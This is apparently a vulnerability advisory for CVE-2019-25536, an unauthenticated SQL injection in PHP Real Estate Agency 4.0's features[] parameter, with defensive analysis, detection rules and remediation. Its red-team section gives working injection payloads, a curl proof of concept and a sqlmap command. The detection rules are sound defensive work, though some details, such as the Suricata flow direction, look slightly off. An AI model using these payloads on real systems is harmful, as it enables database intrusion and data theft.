CVE-2019-25536

Executive Summary

CVE-2019-25536 is a critical unauthenticated SQL injection vulnerability discovered in Netartmedia PHP Real Estate Agency version 4.0. The flaw resides in the features[] parameter within index.php, allowing remote attackers to inject arbitrary SQL commands via crafted POST requests. This vulnerability enables full database compromise, including extraction of sensitive user data, credentials, and potential server-level access through stacked queries. The vendor has not released a patch, leaving all installations of version 4.0 exposed. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact remains severe.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requiring no authentication or user interaction. An attacker can directly send a malicious POST request to the vulnerable endpoint, leading to complete compromise of the database and potentially the underlying server.

Deep Dive & Mechanics

The vulnerability exists in the handling of the features[] parameter in index.php. The application fails to sanitize or parameterize user input before incorporating it into SQL queries. The features[] parameter is likely used to filter property listings by features (e.g., pool, garage). The application iterates over the array and directly concatenates each element into a SQL WHERE clause without proper escaping.

Vulnerable Code Pattern (Conceptual):

$features = $_POST['features'];
if (is_array($features)) {
    foreach ($features as $feature) {
        $sql .= " AND feature = '$feature'";
    }
}
$result = mysqli_query($conn, $sql);

An attacker can inject a single quote to break out of the string context and append malicious SQL. For example, sending features[]=1' OR '1'='1 would result in:

SELECT * FROM properties WHERE feature = '1' OR '1'='1'

This bypasses any intended filtering and returns all records. More sophisticated payloads can extract data from other tables, modify records, or execute system commands via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).

Vulnerable vs. Patched Code

Vulnerable Code (PHP Real Estate Agency 4.0):

// index.php (simplified)
$features = $_POST['features'];
if (is_array($features)) {
    foreach ($features as $feature) {
        $where_clause .= " AND feature = '$feature'";
    }
}
$query = "SELECT * FROM properties WHERE 1=1 $where_clause";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// index.php (patched)
$features = $_POST['features'];
if (is_array($features)) {
    foreach ($features as $feature) {
        $safe_feature = mysqli_real_escape_string($conn, $feature);
        $where_clause .= " AND feature = '$safe_feature'";
    }
}
// Alternatively, use prepared statements:
$stmt = $conn->prepare("SELECT * FROM properties WHERE feature = ?");
foreach ($features as $feature) {
    $stmt->bind_param("s", $feature);
    $stmt->execute();
}

Since no official patch exists, the only remediation is to apply input validation, use prepared statements, or upgrade to a different application.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy PHP Real Estate Agency 4.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via HTTP.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /index.php
2. Craft a malicious POST request with the features[] parameter.

Proof-of-Concept (PoC) Payload:

curl -X POST http://target/index.php \
  -d "features[]=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target/index.php" --data="features[]=1" --batch --dbs

Advanced Payload for Data Exfiltration:

features[]=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables-- -

Blue Team (Defensive)

Detection:

• Monitor for POST requests to index.php with multiple features[] parameters containing SQL keywords (UNION, SELECT, OR, AND, --).
• Look for anomalous database errors in logs (e.g., "You have an error in your SQL syntax").

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the features[] parameter.
• Apply input validation: allow only alphanumeric characters and spaces.
• Use parameterized queries or prepared statements.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /index.php with multiple features[] parameters.
• HTTP requests containing SQL keywords in the features[] parameter (e.g., UNION, SELECT, OR 1=1).
• Unusual database error messages in HTTP responses (e.g., "MySQL syntax error").

File System IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified database configuration files (config.php, db.php).

Log IOCs:

• Web server logs showing repeated POST requests to index.php with varying features[] values.
• Database logs showing queries with injected SQL syntax.

Detection Engineering

YARA Rule

rule CVE_2019_25536_SQLi_Features {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25536 via features[] parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25536"
    strings:
        $sqli1 = /features\[\]=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /features\[\]=.*\b(SLEEP|BENCHMARK|LOAD_FILE|INTO\s+OUTFILE)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection via features[] Parameter in PHP Real Estate Agency
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against CVE-2019-25536
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php'
        cs-uri-query|contains: 'features[]'
    keywords:
        - 'OR'
        - 'AND'
        - 'UNION'
        - 'SELECT'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of features with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25536 SQL Injection Attempt via features[]";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"features[]"; http_client_body;
    pcre:"/features\[\]=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:1000001;
    rev:1;
    reference:cve,2019-25536;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the vulnerable instance offline or restrict network access.
2. Apply virtual patching: Use a WAF to block SQL injection patterns in the features[] parameter.
3. Upgrade: Since no official patch exists, migrate to a different, actively maintained real estate management solution.

Long-Term Fixes:

• Code rewrite: Replace all dynamic SQL queries with prepared statements or parameterized queries.
• Input validation: Implement strict whitelisting for the features[] parameter (e.g., only allow predefined feature names).
• Regular security audits: Conduct code reviews and penetration testing.

Workaround:

• Disable the features[] functionality by modifying index.php to ignore the parameter or return an error if it is present.

Valters IT